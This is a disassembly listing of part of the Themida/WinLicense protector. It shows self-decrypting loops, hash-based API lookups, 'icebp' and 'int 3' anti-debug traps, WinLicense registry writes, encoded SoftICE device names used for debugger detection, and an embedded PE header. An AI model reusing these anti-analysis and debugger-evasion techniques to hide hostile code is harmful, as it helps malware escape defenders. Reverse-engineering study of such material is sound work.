jnz loc_5A3E86
add esp, 8
jmp loc_5A3E9B
; ---------------------------------------------------------------------------
loc_5A3E86: ; CODE XREF: Themida_:005A3E6Ej
; Themida_:005A3E78j
lea eax, [ebp+6151395h]
nop
push eax
nop
push eax
mov [esp], esi
push 0
call dword ptr [ebp+61506D5h]
loc_5A3E9B: ; CODE XREF: Themida_:005A3E1Ej
; Themida_:005A3E81j
popa
retn
; ---------------------------------------------------------------------------
loc_5A3E9D: ; CODE XREF: Themida_:loc_5A3E0Bj
mov byte ptr [ebp+61509C5h], 4Dh
push 0A7D03A13h
xor dword ptr [esp], 3E54CBBh
push dword ptr [ebp+6150789h]
lea eax, [ebp+6153B38h]
call eax
mov [ebp+61506D5h], eax
call loc_5A3EDD
icebp
int 3 ; Trap to Debugger
call far ptr 1FEEh:1B26714Bh
jz short near ptr loc_5A3EFF+3
adc al, 0C1h
mov eax, 0A5ABEB52h
pop ebx
dec esp
loc_5A3EDD: ; CODE XREF: Themida_:005A3EC4p
mov [ebp+6152359h], ecx
pop esi
jns loc_5A3EF0
mov [ebp+615215Dh], ecx
loc_5A3EF0: ; CODE XREF: Themida_:005A3EE4j
add esi, 6918h
pusha
push ecx
mov [ebp+615086Dh], ecx
pop ebx
loc_5A3EFF: ; CODE XREF: Themida_:005A3ED2j
mov esi, [ebp+6151735h]
popa
xor edx, edx
loc_5A3F08: ; CODE XREF: Themida_:005A3F4Bj
push dword ptr [edx+esi]
stc
pop edi
mov ax, di
xor edi, 51203284h
mov bx, 9AE6h
sub edi, 44EFF1B4h
mov ecx, [ebp+6150C5Dh]
sub edi, 69A78055h
push edi
mov ebx, [ebp+6151005h]
pop ecx
mov [esi+edx], edi
jnp loc_5A3F41
mov cx, 20CBh
loc_5A3F41: ; CODE XREF: Themida_:005A3F37j
sub edx, 4
stc
cmp edx, 0FFFF976Ch
jnz loc_5A3F08
jmp loc_5A4000
; ---------------------------------------------------------------------------
aSoftwareWinlic db 'Software\WinLicense',0
aCheckin db 'CheckIN',0
aXprotexit db 'XprotExit',0
aCheckout db 'CheckOUT',0
aWinlicensevers db 'WinLicenseVersion',0
aWinlicensedriv db 'WinLicenseDriverVersion',0
aWinlicenseinst db 'WinLicenseInstance',0
aExitok db 'ExitOk',0
aProcin db 'ProcIN',0
aProcout db 'ProcOUT',0
aExitin db 'ExitIN',0
aExitout db 'ExitOUT',0
aTpin db 'TpIN',0
dd 3 dup(0)
dd 77DEB908h, 77DFD5BBh
; ---------------------------------------------------------------------------
loc_5A4000: ; CODE XREF: Themida_:005A3F51j
jmp loc_5A459B
; ---------------------------------------------------------------------------
mov [ebp+617A5C1h], eax
lea eax, [ebp+617A5BDh]
push eax
lea eax, [ebp+617A527h]
push eax
push 80000001h
call dword ptr [ebp+617A5CDh]
push 19h
push dword ptr [ebp+617A5C1h]
push 1
push 0
lea eax, [ebp+617A556h]
push eax
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6150345h]
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+617A5C9h]
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6151819h]
retn
; ---------------------------------------------------------------------------
mov [ebp+617A5C1h], eax
lea eax, [ebp+617A5BDh]
push eax
lea eax, [ebp+617A527h]
push eax
push 80000001h
call dword ptr [ebp+617A5CDh]
push 4
lea eax, [ebp+617A5C1h]
push eax
push 4
push 0
lea eax, [ebp+617A580h]
push eax
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6150345h]
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+617A5C9h]
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6151819h]
retn
; ---------------------------------------------------------------------------
mov [ebp+617A5C1h], eax
lea eax, [ebp+617A5BDh]
push eax
lea eax, [ebp+617A527h]
push eax
push 80000001h
call dword ptr [ebp+617A5CDh]
push 4
lea eax, [ebp+617A5C1h]
push eax
push 4
push 0
lea eax, [ebp+617A568h]
push eax
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6150345h]
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+617A5C9h]
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6151819h]
retn
; ---------------------------------------------------------------------------
mov [ebp+617A5C1h], eax
lea eax, [ebp+617A5BDh]
push eax
lea eax, [ebp+617A527h]
push eax
push 80000001h
call dword ptr [ebp+617A5CDh]
push 4
lea eax, [ebp+617A5C1h]
push eax
push 4
push 0
lea eax, [ebp+617A593h]
push eax
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6150345h]
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+617A5C9h]
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6151819h]
retn
; ---------------------------------------------------------------------------
mov [ebp+617A5C1h], eax
lea eax, [ebp+617A5BDh]
push eax
lea eax, [ebp+617A527h]
push eax
push 80000001h
call dword ptr [ebp+617A5CDh]
push 4
lea eax, [ebp+617A5C1h]
push eax
push 4
push 0
lea eax, [ebp+617A543h]
push eax
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6150345h]
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+617A5C9h]
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6151819h]
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+615282Dh], 0
jz locret_5A41D4
mov ebx, [ebp+615282Dh]
add ebx, 4Ch
mov [ebx], eax
locret_5A41D4: ; CODE XREF: Themida_:005A41C3j
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+615282Dh], 0
jz locret_5A41ED
mov ebx, [ebp+615282Dh]
add ebx, 50h
mov [ebx], eax
locret_5A41ED: ; CODE XREF: Themida_:005A41DCj
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+615282Dh], 0
jz locret_5A4206
mov ebx, [ebp+615282Dh]
add ebx, 54h
mov [ebx], eax
locret_5A4206: ; CODE XREF: Themida_:005A41F5j
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+615282Dh], 0
jz locret_5A421F
mov ebx, [ebp+615282Dh]
add ebx, 58h
mov [ebx], eax
locret_5A421F: ; CODE XREF: Themida_:005A420Ej
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+615282Dh], 0
jz locret_5A4238
mov ebx, [ebp+615282Dh]
add ebx, 5Ch
mov [ebx], eax
locret_5A4238: ; CODE XREF: Themida_:005A4227j
retn
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+617A5C1h], eax
lea eax, [ebp+617A5BDh]
push eax
lea eax, [ebp+617A527h]
push eax
push 80000001h
call dword ptr [ebp+617A5CDh]
push 4
lea eax, [ebp+617A5C1h]
push eax
push 4
push 0
lea eax, [ebp+617A5B8h]
push eax
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6150345h]
cmp dword ptr [ebp+61508F5h], 0
jz loc_5A4293
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+617A5C9h]
loc_5A4293: ; CODE XREF: Themida_:005A4281j
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6151819h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+617A5C1h], eax
lea eax, [ebp+617A5BDh]
push eax
lea eax, [ebp+617A527h]
push eax
push 80000001h
call dword ptr [ebp+617A5CDh]
push 4
lea eax, [ebp+617A5C1h]
push eax
push 4
push 0
lea eax, [ebp+617A59Ah]
push eax
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6150345h]
cmp dword ptr [ebp+61508F5h], 0
jz loc_5A42FA
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+617A5C9h]
loc_5A42FA: ; CODE XREF: Themida_:005A42E8j
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6151819h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+617A5C1h], eax
lea eax, [ebp+617A5BDh]
push eax
lea eax, [ebp+617A527h]
push eax
push 80000001h
call dword ptr [ebp+617A5CDh]
push 4
lea eax, [ebp+617A5C1h]
push eax
push 4
push 0
lea eax, [ebp+617A5A1h]
push eax
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6150345h]
cmp dword ptr [ebp+61508F5h], 0
jz loc_5A4361
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+617A5C9h]
loc_5A4361: ; CODE XREF: Themida_:005A434Fj
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6151819h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+617A5C1h], eax
lea eax, [ebp+617A5BDh]
push eax
lea eax, [ebp+617A527h]
push eax
push 80000001h
call dword ptr [ebp+617A5CDh]
push 4
lea eax, [ebp+617A5C1h]
push eax
push 4
push 0
lea eax, [ebp+617A5A9h]
push eax
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6150345h]
cmp dword ptr [ebp+61508F5h], 0
jz loc_5A43C8
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+617A5C9h]
loc_5A43C8: ; CODE XREF: Themida_:005A43B6j
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6151819h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+617A5C1h], eax
lea eax, [ebp+617A5BDh]
push eax
lea eax, [ebp+617A527h]
push eax
push 80000001h
call dword ptr [ebp+617A5CDh]
push 4
lea eax, [ebp+617A5C1h]
push eax
push 4
push 0
lea eax, [ebp+617A5B0h]
push eax
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6150345h]
cmp dword ptr [ebp+61508F5h], 0
jz loc_5A442F
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+617A5C9h]
loc_5A442F: ; CODE XREF: Themida_:005A441Dj
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6151819h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov dword ptr [ebp+617A5C1h], 1
lea eax, [ebp+617A5BDh]
push eax
lea eax, [ebp+617A527h]
push eax
push 80000002h
call dword ptr [ebp+617A5CDh]
or eax, eax
jz loc_5A4478
mov dword ptr [ebp+617A5C1h], 0
jmp loc_5A44C5
; ---------------------------------------------------------------------------
loc_5A4478: ; CODE XREF: Themida_:005A4463j
push 4
lea eax, [ebp+617A5C1h]
push eax
push 4
push 0
lea eax, [ebp+617A53Bh]
push eax
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6150345h]
or eax, eax
jz loc_5A44AF
mov dword ptr [ebp+617A5C1h], 0
jmp loc_5A44B9
; ---------------------------------------------------------------------------
loc_5A44AF: ; CODE XREF: Themida_:005A449Aj
mov dword ptr [ebp+617A5C1h], 1
loc_5A44B9: ; CODE XREF: Themida_:005A44AAj
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6151819h]
loc_5A44C5: ; CODE XREF: Themida_:005A4473j
popa
mov eax, [ebp+617A5C1h]
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+617A5C1h], eax
lea eax, [ebp+617A5BDh]
push eax
lea eax, [ebp+617A527h]
push eax
push 80000001h
call dword ptr [ebp+617A5CDh]
push 4
lea eax, [ebp+617A5C1h]
push eax
push 4
push 0
lea eax, [ebp+617A53Bh]
push eax
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6150345h]
cmp dword ptr [ebp+61508F5h], 0
jz loc_5A4526
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+617A5C9h]
loc_5A4526: ; CODE XREF: Themida_:005A4514j
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6151819h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+617A5C1h], eax
lea eax, [ebp+617A5BDh]
push eax
lea eax, [ebp+617A527h]
push eax
push 80000001h
call dword ptr [ebp+617A5CDh]
push 4
lea eax, [ebp+617A5C1h]
push eax
push 4
push 0
lea eax, [ebp+617A54Dh]
push eax
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6150345h]
cmp dword ptr [ebp+61508F5h], 0
jz loc_5A458D
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+617A5C9h]
loc_5A458D: ; CODE XREF: Themida_:005A457Bj
push dword ptr [ebp+617A5BDh]
call dword ptr [ebp+6151819h]
popa
retn
; ---------------------------------------------------------------------------
loc_5A459B: ; CODE XREF: Themida_:loc_5A4000j
mov byte ptr [ebp+61509C5h], 52h
push 0ADE47B07h
push dword ptr [ebp+6151789h]
call dword ptr [ebp+6150D7Dh]
mov [ebp+617A5CDh], eax
mov byte ptr [ebp+61509C5h], 52h
push 902E00E5h
push dword ptr [ebp+6151789h]
call dword ptr [ebp+6150D7Dh]
mov [ebp+617A5C9h], eax
mov byte ptr [ebp+61509C5h], 52h
push 0B9BF1235h
push dword ptr [ebp+6151789h]
call dword ptr [ebp+6150D7Dh]
mov [ebp+6150345h], eax
mov byte ptr [ebp+61509C5h], 52h
push 98781034h
push dword ptr [ebp+6151789h]
call dword ptr [ebp+6150D7Dh]
mov [ebp+6151819h], eax
mov byte ptr [ebp+61509C5h], 52h
push 0C005DBD4h
push dword ptr [ebp+6151789h]
call dword ptr [ebp+6150D7Dh]
mov [ebp+6152391h], eax
jmp short loc_5A4651
; ---------------------------------------------------------------------------
db 5Ch
dd 535C2E5Ch, 454349h
dword_5A463C dd 5C2E5C5Ch, 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h
; DATA XREF: Themida_:00579B38o
db 0
; ---------------------------------------------------------------------------
loc_5A4651: ; CODE XREF: Themida_:005A4631j
mov eax, eax
xor edi, [ebp+615300Dh]
cmp dword ptr [ebp+61508F5h], 0
jnz short loc_5A466B
cmp dword ptr [ebp+61503ADh], 0
jz short loc_5A4684
loc_5A466B: ; CODE XREF: Themida_:005A4660j
push eax
push ebx
mov eax, eax
mov eax, 40Fh
mov [ebp+6151385h], eax
lea ebx, [ebp+617AA9Eh]
call ebx
pop ebx
pop eax
loc_5A4684: ; CODE XREF: Themida_:005A4669j
cmp dword ptr [ebp+61503ADh], 0
jz short loc_5A46A4 ; CODE XREF: sub_5A46CA+10j
push eax
push ebx
mov eax, 40Fh
mov [ebp+6151385h], eax
lea ebx, [ebp+617A78Dh]
call ebx
pop ebx
pop eax
loc_5A46A4: ; CODE XREF: Themida_:005A468Bj
mov edi, 79CBF86Eh
mov eax, eax
mov dx, 0FFCBh
mov esi, 5743EEE5h
mov byte ptr [ebp+61509C5h], 43h
or esi, 68389A16h
call sub_5A46CA
cld
outsb
; ---------------------------------------------------------------------------
db 8Eh, 0BCh
; =============== S U B R O U T I N E =======================================
sub_5A46CA proc near ; CODE XREF: Themida_:005A46C1p
push eax
mov cl, bl
mov eax, [esp+4]
mov edi, eax
mov eax, [eax]
call sub_5A46E3
db 2Eh
jz short near ptr loc_5A468B+1
push ebp
push 3B60D229h
sub_5A46CA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5A46E3 proc near ; CODE XREF: sub_5A46CA+Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], eax
pop eax
or [ebp+61522F5h], ecx
push dword ptr [ebp+6151685h]
mov [ebp+615127Dh], eax
lea eax, [ebp+6153B38h]
push 0
push edx
call sub_5A470C
and [edx-3Dh], bl
sub_5A46E3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5A470C proc near ; CODE XREF: sub_5A46E3+21p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5A470C endp
; ---------------------------------------------------------------------------
dd 0B79C172Bh, 0D0FF1558h, 12E9h, 72238D00h, 0B2883C67h
dd 0C6CB1AF5h, 0DF8F920Fh, 90694095h, 18820Fh, 0EE80000h
dd 0B7000000h, 546F154Fh, 8BFA5B4Bh, 0BECAE279h, 0C4BE66CBh
dd 0F505F43h, 89h, 95299000h, 61533C1h, 830F006Ah, 1, 8DE468F5h
dd 5060BB42h, 10E952h, 0CA600000h, 3FC5C3B4h, 6B5A1489h
dd 0F77A1C2Dh, 310FCB3Fh, 0EE9h, 0C52D0A00h, 82B305F9h
dd 34CBA0B1h, 5A12BE53h, 4816158h, 0BD729C24h, 8AB96644h
dd 0E9036A95h, 0Dh, 607E76DBh, 0E6D7EF37h, 21A87CEEh, 0B1006A86h
dd 0E8036A25h, 4, 0C0000000h, 6E8h, 3D540900h, 0B277FDA5h
dd 8B505FB5h, 66042444h, 8BF88Bh, 4489F18Bh, 0D0BF0424h
dd 58568F7Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 81C35242h, 8DAD8661h, 17AC049Dh, 0D18D3106h, 50061526h
dd 59F5B653h, 0BE241C89h, 2AB62A85h, 0C7B9D0FFh, 4017D7F8h
dd 30C850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 898DA0C3h, 15340D85h, 8D8B5806h
dd 61506D9h, 8915B650h, 0F602404h, 688h, 81BD0300h, 0E806151Ch
dd 14h, 110EACC2h, 0B887AAF6h, 10981B28h, 0CB52CC0h, 34A1E425h
dd 5858Bh, 615A0615h, 6AF78B66h, 6830F00h, 89000000h, 152C8D8Dh
dd 565A6806h, 34817049h, 4956DA24h, 36AF870h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 38C35343h, 5AEACA16h
dd 168A0F61h, 0E9000000h, 11h, 0A0789077h, 50153688h, 4C546EEh
dd 0F85151E8h, 80006ADDh, 36A92EEh, 939BD33h, 4E80615h
dd 0
dd 0B1C00000h, 12E8500Dh, 59000000h, 691AA3FFh, 390FD3F4h
dd 862C5B45h, 0AC888682h, 38F0F8Ch, 66000000h, 8B5EF88Bh
dd 60042444h, 5840Fh, 0A0BA0000h, 61219DBAh, 8B66008Bh
dd 244489D3h, 50525004h, 0F5F5252h, 57BF6631h, 0F585ADBh
dd 0BE831h, 6ADE0000h, 0B0D89347h, 0A4CE838Eh, 8A0F79h
dd 5E000000h, 6A58585Ah, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 0B0A9C357h, 0D327FE49h
dd 7E01DC50h, 0BD8BF78Bh, 6150749h, 0AC0D9D8Dh, 0C9810617h
dd 3CF21022h, 52525050h, 0F5E5F56h, 800F31h, 5A000000h
dd 241C8958h, 2479958Bh, 0D0FF0615h, 77850F40h, 8B000001h
dd 958B58CBh, 6152919h, 50CA8B90h, 9E9h, 0D5C8D400h, 2B3C782Ch
dd 899035B6h, 1510A9BDh, 8B006A06h, 152539BDh, 98B76806h
dd 5652D2FBh, 310F5250h, 5E5A585Ah, 0C9240481h, 602D0467h
dd 92D7B866h, 14F71BFh, 60606127h, 4419589h, 858B0615h
dd 6151785h, 90D38161h, 617FEC90h, 6A036Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 32CF40C3h
dd 6A367ED4h, 13E800h, 0B040000h, 9EB7B242h, 583849E2h
dd 95A127ECh, 82A07232h, 68B96690h, 36A5907h, 97DA8166h
dd 84D668B9h, 481ADE1h, 1E7B2A24h, 50006A12h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 0EC6F7DD7h
dd 99D89ECh, 8D061501h, 17AC189Dh, 60EA8106h, 504E2488h
dd 0BE8h, 1694100h, 2908D241h, 0A0E3BE32h, 895987B5h, 6A241Ch
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 0E83E31C3h, 11h, 0B9618Ah, 26E09EC5h, 0F20DCD84h, 0EC3974D0h
dd 0C18B6016h, 3237D181h, 5A6157E9h, 0FFCF8B66h, 850F40D0h
dd 2Eh, 2251B52Bh, 89580615h, 152FF5B5h, 164E906h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0D88BB4C3h, 0EF8ABEBAh, 6A4B5Dh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F7EE83C3h
dd 7E0B20D3h, 85894BA3h, 61516F1h, 8BD3B658h, 150ACDBDh
dd 0C585C606h, 43061509h, 10DDB589h, 5F680615h, 609A26BBh
dd 51CF8B66h, 615B5956h, 0F8243481h, 0B65A50F1h, 85B5FF59h
dd 6A061516h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 5E90C356h, 0B87C5E2Eh, 9D893147h
dd 6152941h, 3B38858Dh, 95890615h, 6150C89h, 1CC98509h
dd 0D0FF0615h, 11B52960h, 0F061530h, 689h, 59D0B00h, 61061500h
dd 0B7B6E0BFh, 8B669356h, 0BE6650FEh, 6A93C893h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 0B842C357h, 0F9A9EE5Dh, 0BD8BD0FFh, 61520B9h, 720D9D8Dh
dd 7E80615h, 61000000h, 3EFEAEF1h, 0BD8B8AC0h, 6150121h
dd 1B85Eh, 8D890000h, 6152335h, 6AE3FFh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E9BB7DC3h
dd 0Ch, 0EF4114AEh, 0AC01BA31h, 49E35DD7h, 1791BD8Bh, 0C18B0615h
dd 755928B9h, 21B58B4Dh, 8B061509h, 0E68060C0h, 0B8F6810Bh
dd 61016D5Dh, 8F5BD83h, 75000615h, 0ADBD8309h, 61503h
dd 53501974h, 0FB8C08Bh, 89000004h, 1502A185h, 59D8D06h
dd 0FF0617ABh, 83585BD3h, 1503ADBDh, 17740006h, 0FB85350h
dd 89000004h, 1502A185h, 0A69D8D06h, 0FF0617A7h, 6A585BD3h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 86B2C352h, 0F56EEF38h, 2AA9D1EEh, 9BD958Bh
dd 8B520615h, 153405BDh, 0F5805906h, 0E9C08B06h, 20Eh
dd 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h
dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h
dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h
dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h
dd 676F7270h, 2E6D6172h, 68h dup(0)
dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
dd 0EFE90000h, 0C6000000h, 1509C585h, 86684706h, 0FFE3E45Bh
dd 151685B5h, 38858D06h, 0FF06153Bh, 10468D0h, 9D8D0000h
dd 6152B49h, 50D0FF53h, 0B4FDB58Dh, 0FE8B0617h, 0FAEC032h
dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 9C585C6h
dd 68430615h, 0BC8E6EFCh, 1685B5FFh, 858D0615h, 6153B38h
dd 0B58DD0FFh, 6152B49h, 8068006Ah, 6A000000h, 6A006A02h
dd 6800h, 0FF56C000h, 0C6D88BD0h, 1509C585h, 56685706h
dd 0FFA69BEEh, 151685B5h, 38858D06h, 0FF06153Bh, 0D9BD8DD0h
dd 8D061508h, 17B6238Dh, 57006A06h, 37D068h, 0FF535100h
dd 0FC085D0h, 1B85h, 5B58D00h, 8D0617B3h, 17A3E185h, 8DD0FF06h
dd 15720D8Dh, 0B806h, 0E1FF0000h, 9C585C6h, 68430615h
dd 0C0764AA7h, 1685B5FFh, 858D0615h, 6153B38h, 0FF53D0FFh
dd 0D0B9C3D0h, 0E8000037h, 0
; ---------------------------------------------------------------------------
pop eax
add eax, 0Eh
mov [eax], ecx
jmp loc_5A504D
; ---------------------------------------------------------------------------
mov eax, ebx
loc_5A504D: ; CODE XREF: Themida_:005A5046j
; DATA XREF: Themida_:0057C0CCo
jmp loc_5A8822
; ---------------------------------------------------------------------------
dw 5A4Dh
db 90h
align 2
dw 3
dd 40000h, 0FFFF0000h, 0B80000h, 0
dd 400000h, 8 dup(0)
dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h
dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
dd 240A0Dh, 0
dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
dd 454C0000h, 0
dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
dd 2000000h, 1C00000h, 900000h, 0
dd 7E0000h, 0
dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
dd 12C0000h, 1380000h, 2 dup(0)
dd 1420000h, 1960000h, 1D20000h, 0
dd 1D20000h, 0
dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
dd 27C00400h, 0
dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h
dd 30001h, 2 dup(0)
dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h
dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
dd 360h dup(0)
dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h
dd 8 dup(0)
dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
dd 5273h, 9C3h dup(0)
dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h
dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
dd 580CC3C0h, 544F5250h, 5F445856h, 424444h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5A8822: ; CODE XREF: Themida_:loc_5A504Dj
call loc_5A882C
; ---------------------------------------------------------------------------
db 8Ah
dd 1CE9D09Dh
; ---------------------------------------------------------------------------
loc_5A882C: ; CODE XREF: Themida_:loc_5A8822j
mov [ebp+6152F2Dh], eax
pop edi
mov [ebp+615269Dh], eax
add edi, 6AFCh
mov dh, ah
mov ebx, 1BC70D69h
add ebx, 0E4390D33h
cmc
loc_5A884D: ; CODE XREF: Themida_:005A88A9j
push dword ptr [edi]
jns loc_5A885B
or [ebp+615300Dh], edx
loc_5A885B: ; CODE XREF: Themida_:005A884Fj
pop esi
mov edx, ebx
xor esi, 19D8A2ECh
mov cx, 0CF16h
xor esi, 6EF31964h
adc cx, 0BF64h
sub esi, 117799Ch
mov [ebp+61515F5h], edx
mov [edi], esi
mov [ebp+615130Dh], edx
sub edi, 75270866h
mov cx, ax
add edi, 75270862h
jmp loc_5A88A8
; ---------------------------------------------------------------------------
mov ds:7F8D51ECh, al
cmpsb
mov edi, 1957E6BEh
sub dl, ah
loc_5A88A8: ; CODE XREF: Themida_:005A8896j
dec ebx
jnz loc_5A884D
pusha
mov [ebp+6152F35h], ecx
popa
jmp loc_5A8955
; ---------------------------------------------------------------------------
dd 6775622Fh, 63656863h, 2F00326Bh, 63677562h, 6B636568h
dd 6F662F00h, 72656372h, 2F006E75h, 63677562h, 6B636568h
dd 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h, 776F6873h
dd 65646F63h, 632F0032h, 74726Ch, 7369642Fh, 732F0031h
dd 69776F68h, 6174736Eh, 65636Eh, 7465672Fh, 74736C77h
dd 73757461h, 6F6C2F00h, 61747367h, 737574h, 6D75642Fh
dd 61747370h, 737574h, 0
aCheckprotectio db '/checkprotection',0
align 4
db 0
; ---------------------------------------------------------------------------
loc_5A8955: ; CODE XREF: Themida_:005A88B7j
cmp dword ptr [ebp+617EF0Dh], 0
jz loc_5A896C
mov dword ptr [ebp+61503ADh], 1
loc_5A896C: ; CODE XREF: Themida_:005A895Cj
mov byte ptr [ebp+61509C5h], 47h
push 4A0D98A6h
add dword ptr [esp], 465FD3E7h
push dword ptr [ebp+6151685h]
lea eax, [ebp+6153B38h]
call eax
call eax
mov edi, eax
cmp byte ptr [edi], 22h
jnz loc_5A89BC
inc edi
mov al, 22h
loc_5A899D: ; CODE XREF: Themida_:005A899Ej
scasb
jnz loc_5A899D
cmp byte ptr [edi], 0
jz loc_5A8CC8
inc edi
cmp byte ptr [edi], 0
jz loc_5A8CC8
jmp loc_5A89DA
; ---------------------------------------------------------------------------
loc_5A89BC: ; CODE XREF: Themida_:005A8994j
; Themida_:005A89D5j
cmp byte ptr [edi], 0
jz loc_5A8CC8
cmp byte ptr [edi], 20h
jnz loc_5A89D4
inc edi
jmp loc_5A89DA
; ---------------------------------------------------------------------------
loc_5A89D4: ; CODE XREF: Themida_:005A89C8j
inc edi
jmp loc_5A89BC
; ---------------------------------------------------------------------------
loc_5A89DA: ; CODE XREF: Themida_:005A89B7j
; Themida_:005A89CFj ...
cmp byte ptr [edi], 0
jnz loc_5A89E8
jmp loc_5A8CC8
; ---------------------------------------------------------------------------
loc_5A89E8: ; CODE XREF: Themida_:005A89DDj
jmp loc_5A89EE
; ---------------------------------------------------------------------------
loc_5A89ED: ; CODE XREF: Themida_:005A89F1j
inc edi
loc_5A89EE: ; CODE XREF: Themida_:loc_5A89E8j
cmp byte ptr [edi], 20h
jz loc_5A89ED
cmp byte ptr [edi], 0
jnz loc_5A8A05
jmp loc_5A8CC8
; ---------------------------------------------------------------------------
loc_5A8A05: ; CODE XREF: Themida_:005A89FAj
call sub_5A8A14
jmp loc_5A89DA
; ---------------------------------------------------------------------------
jmp loc_5A8CC8
; =============== S U B R O U T I N E =======================================
sub_5A8A14 proc near ; CODE XREF: Themida_:loc_5A8A05p
lea esi, [ebp+617EE8Dh]
call sub_5A8C44
